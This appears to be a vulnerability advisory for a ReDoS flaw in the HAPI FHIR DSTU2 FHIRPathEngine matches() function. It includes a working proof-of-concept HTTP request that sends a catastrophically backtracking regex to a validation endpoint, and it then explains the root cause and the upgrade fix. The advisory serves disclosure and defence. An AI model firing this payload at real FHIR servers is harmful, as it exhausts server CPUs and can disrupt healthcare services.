CVE-2026-49485: org.hl7.fhir.dstu2 FHIRPathEngine ReDoS via Unprotected matches()
A missed line in the DSTU2 FHIRPath engine means any unauthenticated user can lock a server CPU indefinitely by submitting a FHIR resource that contains a catastrophically backtracking regular…
The problem
The matches() function in org.hl7.fhir.dstu2/utils/FHIRPathEngine.java (line 2462) calls the raw Java String.matches(sw) with no timeout or complexity guard. This is an incomplete fix: the sibling function replaceMatches() in the same file was correctly updated to use RegexTimeout.replaceAll(), but matches() was skipped.
Any caller of the DSTU2 FHIRPathEngine is exposed, including the FHIR Validator HTTP endpoint and any FHIR server that evaluates user-supplied profiles or invariants. No authentication is required.
Proof of concept
A working proof-of-concept for CVE-2026-49485 in ca.uhn.hapi.fhir:org.hl7.fhir.dstu2, with the exact payload below.
POST /validate HTTP/1.1
Host: fhir-server.example.com
Content-Type: application/fhir+json
{
"resourceType": "Patient",
"name": [
{
"text": "aaaaaaaaaaaaaaaaaaaaaa!"
}
],
"_fhirPath": "name.text.matches('(a+)+$')"
}Java's NFA-based regex engine evaluates (a+)+$ against a string like aaaaaaaaaaaaaaaaaaaaaa! with O(2^n) backtracking. The engine explores every possible grouping of the repeated a+ captures before concluding no match, pinning a CPU core at 100% for the duration.
The root cause is a one-line omission in the patch for CVE-2026-45367. The vulnerable code path is result.add(new BooleanType(convertToString(focus.get(0)).matches(sw))), which has no thread interruption path. The fix replaces this with RegexTimeout.matches(st, sw, regexTimeoutMillis), matching what was already done in DSTU3 and all later modules.
CWE-1333 (Inefficient Regular Expression Complexity) combined with CWE-400 (Uncontrolled Resource Consumption).
The fix
Upgrade ca.uhn.hapi.fhir:org.hl7.fhir.dstu2 (and related modules org.hl7.fhir.convertors, org.hl7.fhir.validation) to version **6.9.10** or later. That release replaces the raw String.matches(sw) call at line 2462 of FHIRPathEngine.java with RegexTimeout.matches(st, sw, regexTimeoutMillis), giving the evaluation thread a bounded timeout.
If an immediate upgrade is not possible, consider fronting the FHIR Validator endpoint with a reverse proxy that enforces request timeouts and rate limits.
Related research
- high · 8.6CVE-2026-54609CVE-2026-54609: QTINeon NeonRelay Unauthenticated Amplification via Unbounded RECONNECT_REQUEST Forwarding
- critical · 9.4OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read
- high · 7.5netty-codec-xml XmlFrameDecoder Denial of Service via CPU Exhaustion
- high · 7.5CVE-2024-7708CVE-2024-7708: Eclipse Jetty jetty-server Buffer Leak DoS via 100-Continue Requests